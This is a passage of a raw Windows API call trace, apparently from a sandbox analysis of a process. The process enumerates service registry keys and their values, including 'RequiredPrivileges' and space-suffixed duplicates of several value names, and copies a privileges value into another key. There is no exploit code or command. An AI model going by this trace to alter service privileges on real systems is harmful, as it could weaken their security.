lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0225.082] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0225.082] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0225.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0225.083] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0225.083] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0225.083] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0225.083] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.083] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0225.084] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0225.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0225.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0225.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0225.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0225.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0225.085] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0225.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0225.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.088] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x0, lpData=0x0, lpcbData=0x36f45c*=0x0) returned 0x2 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.088] RegQueryValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0225.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.088] RegQueryValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0225.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0225.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0225.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0225.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0225.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0225.089] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0225.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.090] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0225.090] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0225.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0225.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0225.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0225.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0225.090] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0225.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0225.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.091] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0225.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0225.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0225.092] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0225.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 